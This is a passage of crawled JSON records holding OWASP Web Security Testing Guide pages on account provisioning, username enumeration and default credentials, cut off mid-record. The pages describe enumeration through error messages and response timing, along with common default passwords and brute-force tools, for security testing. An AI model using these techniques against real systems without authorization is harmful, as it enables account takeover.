Test"}, {"uroven": 3, "text": "Example"}, {"uroven": 2, "text": "Tools"}], "markdown": "# WSTG - Latest\n\n# Account Provisioning Process\n\n| ID |\n| --- |\n| WSTG-IDNT-03 |\n\n## Summary\n\nThe provisioning of accounts presents an opportunity for an attacker to create a valid account without application of the proper identification and authorization process.\n\n## Test Objectives\n\n- Verify which accounts may provision other accounts and of what type.\n\n## How to Test\n\nDetermine which roles are able to provision users and what sort of accounts they can provision.\n\n- Is there any verification, vetting and authorization of provisioning requests?\n- Is there any verification, vetting and authorization of de-provisioning requests?\n- Can an administrator provision other administrators or just users?\n- Can an administrator or other user provision accounts with privileges greater than their own?\n- Can an administrator or user de-provision themselves?\n- How are the files or resources owned by the de-provisioned user managed? Are they deleted? Is access transferred?\n\n### Example\n\nIn WordPress, only a user’s name and email address are required to provision the user, as shown below:\n\n*Figure 4.3.3-1: WordPress User Add*\n\nDe-provisioning of users requires the administrator to select the users to be de-provisioned, select Delete from the dropdown menu (circled) and then applying this action. The administrator is then presented with a dialog box asking what to do with the user’s posts (delete or transfer them).\n\n*Figure 4.3.3-2: WordPress Auth and Users*\n\n## Tools\n\nWhile the most thorough and accurate approach to completing this test is to conduct it manually, HTTP proxy tools could be also useful.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1655, "slov": 243, "odkazu": 200, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:18", "sha256": "b25d8924aa882c2e1980d205ecd534fab71937498246e41a6d0d7d22b8b2ae98", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/04-Account_Enumeration_and_Guessable_User_Account", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/04-Account_Enumeration_and_Guessable_User_Account", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/04-Account_Enumeration_and_Guessable_User_Account", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "03-Identity Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Account Enumeration and Guessable User Account"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "HTTP Response Message"}, {"uroven": 4, "text": "Valid Credentials"}, {"uroven": 4, "text": "Valid User with Wrong Password"}, {"uroven": 4, "text": "Nonexistent Username"}, {"uroven": 3, "text": "Other Ways to Enumerate Users"}, {"uroven": 4, "text": "Analyzing URLs and URL Redirections"}, {"uroven": 4, "text": "URI Probing"}, {"uroven": 4, "text": "Analyzing Web Page Titles"}, {"uroven": 4, "text": "Analyzing a Message Received from a Recovery Facility"}, {"uroven": 4, "text": "Friendly 404 Error Message"}, {"uroven": 4, "text": "Analyzing Response Times"}, {"uroven": 3, "text": "Guessing Users"}, {"uroven": 4, "text": "Predictable Username Structures"}, {"uroven": 3, "text": "Staff Impersonation"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 4, "text": "Authentication Error Messages"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Account Enumeration and Guessable User Account\n\n| ID |\n| --- |\n| WSTG-IDNT-04 |\n\n## Summary\n\nThe scope of this test is to verify if it is possible to collect a set of valid usernames by interacting with the authentication mechanism of the application. This test will be useful for brute force testing, in which the tester verifies if, given a valid username, it is possible to find the corresponding password.\n\nOften, web applications reveal when a username exists on system, either as a consequence of mis-configuration or as a design decision. For example, sometimes, when we submit wrong credentials, we receive a message that states that either the username is present on the system or the provided password is wrong. The information obtained can be used by an attacker to gain a list of users on system. This information can be used to attack the web application, for example, through a brute force or default username and password attack.\n\nThe tester should interact with the authentication mechanism of the application to understand if sending particular requests causes the application to answer in different manners. This issue exists because the information released from web application or web server when the user provides a valid username is different than when they use an invalid one.\n\nIn some cases, a message is received that reveals if the provided credentials are wrong because an invalid username or an invalid password was used. Sometimes, testers can enumerate the existing users by sending a username and an empty password.\n\n> Note: Some applications do not consider usernames sensitive, and may provide functionality that lets you directly view or list usernames. Ensure that you understand the security requirements of the application before reporting issues around username enumeration.\n\n## Test Objectives\n\n- Review processes that pertain to user identification ( *e.g.* registration, login, etc.).\n- Enumerate users where possible through response analysis.\n\n## How to Test\n\nIn black-box testing, the tester knows nothing about the specific application, username, application logic, error messages on log in page, or password recovery facilities. If the application is vulnerable, the tester receives a response message that reveals, directly or indirectly, some information useful for enumerating users.\n\n### HTTP Response Message\n\n#### Valid Credentials\n\nRecord the server answer when you submit a valid user ID and valid password.\n\n> Using a web proxy, notice the information retrieved from this successful authentication (HTTP 200 Response, length of the response).\n\n#### Valid User with Wrong Password\n\nNow, the tester should try to insert a valid user ID and a wrong password and record the error message generated by the application.\n\n> The browser should display a message similar to the following one:\n> \n> *Figure 4.3.4-1: Authentication Failed*\n> \n> Unlike any message that reveals the existence of the user like the following:\n> \n> `Login for User foo: invalid password`\n> \n> Using a web proxy, notice the information retrieved from this unsuccessful authentication attempt (HTTP 200 Response, length of the response).\n\n#### Nonexistent Username\n\nNow, the tester should try to insert an invalid user ID and a wrong password and record the server answer (the tester should be confident that the username is not valid in the application). Record the error message and the server answer.\n\n> If the tester enters a nonexistent user ID, they can receive a message similar to:\n> \n> *Figure 4.3.4-3: This User is Not Active*\n> \n> or a message like the following one:\n> \n> `Login failed for User foo: invalid Account`\n> \n> Generally the application should respond with the same error message and length to the different incorrect requests. If the responses are not the same, the tester should investigate and find out the key that creates a difference between the two responses. For example:\n> \n> 1. Client request: Valid user/wrong password\n> 2. Server response: The password is not correct\n> 3. Client request: Wrong user/wrong password\n> 4. Server response: User not recognized\n> \n> The above responses let the client understand that for the first request they have a valid username. So they can interact with the application requesting a set of possible user IDs and observing the answer.\n> \n> Looking at the second server response, the tester understand in the same way that they don’t hold a valid username. So they can interact in the same manner and create a list of valid user ID looking at the server answers.\n\n### Other Ways to Enumerate Users\n\nTesters can enumerate users in several ways, such as:\n\nSome web application release a specific error code or message that we can analyze.\n\n#### Analyzing URLs and URL Redirections\n\nFor example:\n\n- `https://www.foo.com/err.jsp?User=baduser&Error=0`\n- `https://www.foo.com/err.jsp?User=gooduser&Error=2`\n\nAs is seen above, when a tester provides a user ID and password to the web application, they see a message indication that an error has occurred in the URL. In the first case they have provided a bad user ID and bad password. In the second, a good user ID and a bad password, so they can identify a valid user ID.\n\n#### URI Probing\n\nSometimes a web server responds differently if it receives a request for an existing directory or not. For instance in some portals every user is associated with a directory. If testers try to access an existing directory they could receive a web server error.\n\nSome of the common errors received from web servers are:\n\n- 403 Forbidden error code\n- 404 Not found error code\n\nExample:\n\n- `https://www.foo.com/account1` - we receive from web server: 403 Forbidden\n- `https://www.foo.com/account2` - we receive from web server: 404 file Not Found\n\nIn the first case the user exists, but the tester cannot view the web page, in second case instead the user “account2” does not exist. By collecting this information testers can enumerate the users.\n\n#### Analyzing Web Page Titles\n\nTesters can receive useful information on Title of web page, where they can obtain a specific error code or messages that reveal if the problems are with the username or password.\n\nFor instance, if a user cannot authenticate to an application and receives a web page whose title is similar to:\n\n- `Invalid user`\n- `Invalid authentication`\n\n#### Analyzing a Message Received from a Recovery Facility\n\nWhen we use a recovery facility (i.e. a forgotten password function) a vulnerable application might return a message that reveals if a username exists or not.\n\nFor example, messages similar to the following:\n\n- `Invalid username: email address is not valid or the specified user was not found.`\n- `Valid username: Your password has been successfully sent to the email address you registered with.`\n\n#### Friendly 404 Error Message\n\nWhen we request a user within the directory that does not exist, we don’t always receive 404 error code. Instead, we may receive “200 OK” with an image, in this case we can assume that when we receive the specific image the user does not exist. This logic can be applied to other web server response; the trick is a good analysis of web server and web application messages.\n\n#### Analyzing Response Times\n\nAs well as looking at the content of the responses, the time that the response takes should also be considered. Particularly where the request causes an interaction with an external service (such as sending a forgotten password email), this can add several hundred milliseconds to the response, which can be used to determine whether the requested user is valid.\n\n### Guessing Users\n\n#### Predictable Username Structures\n\nIn many organizations, usernames follow consistent patterns (e.g., first initial + last name such as jbloggs, or structured identifiers such as CN000100). If the naming convention can be identified, valid usernames can often be derived systematically.\n\nTesters should:\n\n- Identify whether usernames follow a predictable structure.\n- Attempt to generate additional usernames based on observed patterns.\n- Use username dictionaries derived from organizational data (e.g., staff names, email formats).\n- Observe application responses to determine whether generated usernames are valid.\n\nPredictable username structures significantly reduce the effort required to enumerate valid accounts and can facilitate further attacks such as brute force attempts.\n\nIn some cases the user IDs are created with specific policies of administrator or company. For example we can view a user with a user ID created in sequential order:\n\n```\nCN000100\nCN000101\n...\n```\n\nSometimes the usernames are created with a REALM alias and then a sequential numbers:\n\n- R1001 – user 001 for REALM1\n- R2001 – user 001 for REALM2\n\nIn the above sample we can create simple shell scripts that compose user IDs and submit a request with tool like wget to automate a web query to discern valid user IDs. To create a script we can also use Perl and curl.\n\nOther possibilities are: - user IDs associated with credit card numbers, or in general numbers with a pattern. - user IDs associated with real names, e.g. if Freddie Mercury has a user ID of “fmercury”, then you might guess Roger Taylor to have the user ID of “rtaylor”.\n\nAgain, we can guess a username from the information received from an LDAP query or from Google information gathering, for example, from a specific domain. Google can help to find domain users through specific queries or through a simple shell script or tool.\n\n> By enumerating user accounts, you risk locking out accounts after a predefined number of failed probes (based on application policy). Also, sometimes, your IP address can be banned by dynamic rules on the application firewall or Intrusion Prevention System.\n\n### Staff Impersonation\n\nEnsure that unregistered users are unable to select reserved usernames (e.g., admin, administrator, moderator) during the registration process. Additionally, verify that users cannot edit their current username to one of these reserved usernames on the profile editing page.\n\nIf the web application has features that allow a user to access the web application’s registration and profile editing functionality, the interactions to test include the following:\n\n- Registration process:\n - Access the registration page as an unregistered user and fill in the registration form, entering one of the reserved usernames (e.g., admin, administrator, moderator), submit the registration form, and then verify the response.\n - The registration process should reject the form submission and display an error message indicating that the selected username is not available for registration.\n- Profile editing page:\n - Log into the web application using valid credentials and navigate to the profile editing page. Attempt to change the current username to one of the reserved usernames (e.g., admin, administrator, moderator) and save the changes to verify the behavior.\n - The profile editing process should reject the username change request and display an error message indicating that the selected username is not available.\n- Test for variants and similarities:\n - Repeat the above steps for different variations of the reserved usernames (e.g., Admin, ADMIN, Administrator) and perform tests with different combinations of uppercase and lowercase letters to ensure case insensitivity is handled correctly.\n - The web application should treat these variants as identical to the reserved usernames, rejecting their selection or modification.\n\n### Gray-Box Testing\n\n#### Authentication Error Messages\n\nVerify that the application answers in the same manner for every client request that produces a failed authentication. For this issue the black-box testing and gray-box testing have the same concept based on the analysis of messages or error codes received from web application.\n\n> The application should answer in the same manner for every failed attempt of authentication.\n> \n> For Example: *Credentials submitted are not valid*\n\n## Remediation\n\nEnsure the application returns consistent generic error messages in response to invalid account name, password or other user credentials entered during the log in process.\n\nEnsure default system accounts and test accounts are deleted prior to releasing the system into production (or exposing it to an untrusted network).\n\n## Tools\n\n- [Zed Attack Proxy (ZAP)](https://www.zaproxy.org)\n- [curl](https://curl.se/)\n- [PERL](https://www.perl.org)\n\n## References\n\n- [Username Enumeration Vulnerabilities](https://www.gnucitizen.org/blog/username-enumeration-vulnerabilities/)\n- [Prevent WordPress Username Enumeration](https://www.jinsonvarghese.com/prevent-wordpress-username-enumeration/)\n- [Marco Mella, Sun Java Access & Identity Manager Users enumeration](https://www.exploit-db.com/exploits/32762)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 12680, "slov": 1923, "odkazu": 206, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:18", "sha256": "4b69a81af56c6a270bf7d5e98963b7d3fede63a407a669f65fd8d01408b5d650", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://curl.se/", "https://www.perl.org/", "https://www.gnucitizen.org/blog/username-enumeration-vulnerabilities/", "https://www.jinsonvarghese.com/prevent-wordpress-username-enumeration/", "https://www.exploit-db.com/exploits/32762", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/05-Weak_or_Unenforced_Username_Policy", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/05-Weak_or_Unenforced_Username_Policy", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/05-Weak_or_Unenforced_Username_Policy", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "03-Identity Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Weak or Unenforced Username Policy"}], "markdown": "# WSTG - Latest\n\n# Weak or Unenforced Username Policy\n\n| ID |\n| --- |\n| WSTG-IDNT-05 |\n\nThis test has been merged into WSTG-IDNT-04 (Account Enumeration and Guessable User Accounts) due to overlapping scope related to predictable username structures and enumeration techniques.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 351, "slov": 40, "odkazu": 200, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:19", "sha256": "1ce05d7aace2cd6522fc0fcad5073529a89e8268130aec20316c585f2e03acfb", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/README", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "03-Identity Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "4.3 Identity Management"}], "markdown": "# WSTG - Latest\n\n# 4.3 Identity Management\n\n4.3.1 [Role Definitions](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/01-Role_Definitions)\n\n4.3.2 [User Registration Process](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/02-User_Registration_Process)\n\n4.3.3 [Account Provisioning Process](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/03-Account_Provisioning_Process)\n\n4.3.4 [Account Enumeration and Guessable User Account](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/04-Account_Enumeration_and_Guessable_User_Account)\n\n4.3.5 [Weak or Unenforced Username Policy](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/05-Weak_or_Unenforced_Username_Policy)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1021, "slov": 71, "odkazu": 200, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:15", "sha256": "f0bc819adfa049afa9967d6363aa586264a4102793d10663dfd16d9ab914dfae", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/01-Credentials_Transported_over_an_Encrypted_Channel", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/01-Credentials_Transported_over_an_Encrypted_Channel", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/01-Credentials_Transported_over_an_Encrypted_Channel", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "04-Authentication"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Credentials Transported over an Encrypted Channel"}], "markdown": "# WSTG - Latest\n\n# Credentials Transported over an Encrypted Channel\n\n| ID |\n| --- |\n| WSTG-ATHN-01 |\n\nThis content has been merged into: [Sensitive Information Sent via Unencrypted Channels](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Weak_Cryptography/03-Sensitive_Information_Sent_via_Unencrypted_Channels)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 424, "slov": 34, "odkazu": 200, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:21", "sha256": "0a816dfda10d6d0e5083f5934c23e09912204ace1965384f25ebdc2686269258", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/02-Default_Credentials", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/02-Default_Credentials", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/02-Default_Credentials", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "04-Authentication"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Default Credentials"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Vendor Default Credentials"}, {"uroven": 3, "text": "Organization Default Passwords"}, {"uroven": 3, "text": "Application Generated Default Passwords"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Default Credentials\n\n| ID |\n| --- |\n| WSTG-ATHN-02 |\n\n## Summary\n\nMany web applications and hardware devices have default passwords for the built-in administrative account. Although in some cases these can be randomly generated, they are often static, meaning that they can be easily guessed or obtained by an attacker.\n\nAdditionally, when new users are created on the applications, these may have predefined passwords set. These could either be generated automatically by the application, or manually created by staff. In both cases, if they are not generated in a secure manner, the passwords may be possible for an attacker to guess.\n\n## Test Objectives\n\n- Determine whether the application has any user accounts with default passwords.\n- Review whether new user accounts are created with weak or predictable passwords.\n\n## How to Test\n\n### Vendor Default Credentials\n\nThe first step to identifying default passwords is to identify the software that is in use. This is covered in detail in the [Information Gathering](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/README) section of the guide.\n\nOnce the software has been identified, try to find whether it uses default passwords, and if so, what they are. This should include:\n\n- Searching for “[SOFTWARE] default password”.\n- Reviewing the manual or vendor documentation.\n- Checking common default password databases, such as [CIRT.net](https://cirt.net/passwords) , [SecLists Default Passwords](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Default-Credentials) or [DefaultCreds-cheat-sheet](https://github.com/ihebski/DefaultCreds-cheat-sheet/blob/main/DefaultCreds-Cheat-Sheet.csv) .\n- Inspecting the application source code (if available).\n- Installing the application on a virtual machine and inspecting it.\n- Inspecting the physical hardware for stickers (often present on network devices).\n\nIf a default password can’t be found, try common options such as:\n\n- “admin”, “password”, “12345”, or other [common default passwords](https://github.com/nixawk/fuzzdb/blob/master/bruteforce/passwds/default_devices_users%2Bpasswords.txt) .\n- An empty or blank password.\n- The serial number or MAC address of the device.\n\nIf the username is unknown, there are various options for enumerating users, discussed in the [Account Enumeration](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/04-Account_Enumeration_and_Guessable_User_Account) guide. Alternatively, try common options such as “admin”, “root”, or “system”.\n\n### Organization Default Passwords\n\nWhen staff within an organization manually create passwords for new accounts, they may do so in a predictable way. This can often be:\n\n- A single common password such as “Password1”.\n- Organization specific details, such as the organization name or address.\n- Passwords that follow a simple pattern, such as “Monday123” if account is created on a Monday.\n\nThese types of passwords are often difficult to identify from a black-box perspective, unless they can successfully be guessed or brute-forced. However, they are easy to identify when performing gray-box or white-box testing.\n\n### Application Generated Default Passwords\n\nIf the application automatically generates passwords for new user accounts, these may also be predictable. In order to test these, create multiple accounts on the application with similar details at the same time, and compare the passwords that are given for them.\n\nThe passwords may be based on:\n\n- A single static string shared between accounts.\n- A hashed or obfuscated part of the account details, such as `md5($username)` .\n- A time-based algorithm.\n- A weak pseudo-random number generator (PRNG).\n\nThis type of issue is often difficult to identify from a black-box perspective.\n\n## Tools\n\n- [Burp Intruder](https://portswigger.net/burp/documentation/desktop/tools/intruder)\n- [THC Hydra](https://github.com/vanhauser-thc/thc-hydra)\n- [Nikto 2](https://cirt.net/Nikto2)\n- [Nuclei](https://github.com/projectdiscovery/nuclei)\n - [Default Login - Nuclei Templates](https://github.com/projectdiscovery/nuclei-templates/tree/6b26c63d8f63b2a812a478f14c4c098b485d54b4/http/default-logins)\n\n## References\n\n- [CIRT](https://cirt.net/passwords)\n- [SecLists Default Passwords](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Default-Credentials)\n- [DefaultCreds-cheat-sheet](https://github.com/ihebski/DefaultCreds-cheat-sheet/blob/main/DefaultCreds-Cheat-Sheet.csv)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 4566, "slov": 546, "odkazu": 209, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:22", "sha256": "5260d3df21d4ed327c0e0b9152e3302f2ce3f15e8c980ca5066bb72022b69d92", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cirt.net/passwords", "https://github.com/danielmiessler/SecLists/tree/master/Passwords/Default-Credentials", "https://github.com/ihebski/DefaultCreds-cheat-sheet/blob/main/DefaultCreds-Cheat-Sheet.csv", "https://github.com/nixawk/fuzzdb/blob/master/bruteforce/passwds/default_devices_users+passwords.txt", "https://portswigger.net/burp/documentation/desktop/tools/intruder", "https://github.com/vanhauser-thc/thc-hydra", "https://cirt.net/Nikto2", "https://github.com/projectdiscovery/nuclei", "https://github.com/projectdiscovery/nuclei-templates/tree/6b26c63d8f63b2a812a478f14c4c098b485d54b4/http/default-logins", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/03-Weak_Lock_Out_Mechanism", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/03-Weak_Lock_Out_Mechanism", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/03-Weak_Lock_Out_Mechanism", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "04-Authentication"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Weak Lock Out Mechanism"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Credential Stuffing and Distributed Brute Force"}, {"uroven": 3, "text": "Lockout Mechanism"}, {"uroven": 4, "text": "Unique Lockout Mechanisms"}, {"uroven": 3, "text": "Unlock Mechanism"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Weak Lock Out Mechanism\n\n| ID |\n| --- |\n| WSTG-ATHN-03 |\n\n## Summary\n\nAccount lockout mechanisms are used to mitigate brute force attacks. Some of the attacks that can be defeated by using lockout mechanism:\n\n- Password guessing or brute-force attacks.\n- Security question guessing.\n- OTP code guessing for two-factor authentication (2FA/MFA).\n\nAccount lockout mechanisms require a balance between protecting accounts from unauthorized access and protecting users from being denied authorized access. Accounts are typically locked after 3 to 5 unsuccessful attempts and can only be unlocked after a predetermined period of time, via a self-service unlock mechanism, or intervention by an administrator.\n\nDespite it being easy to conduct brute force attacks, the result of a 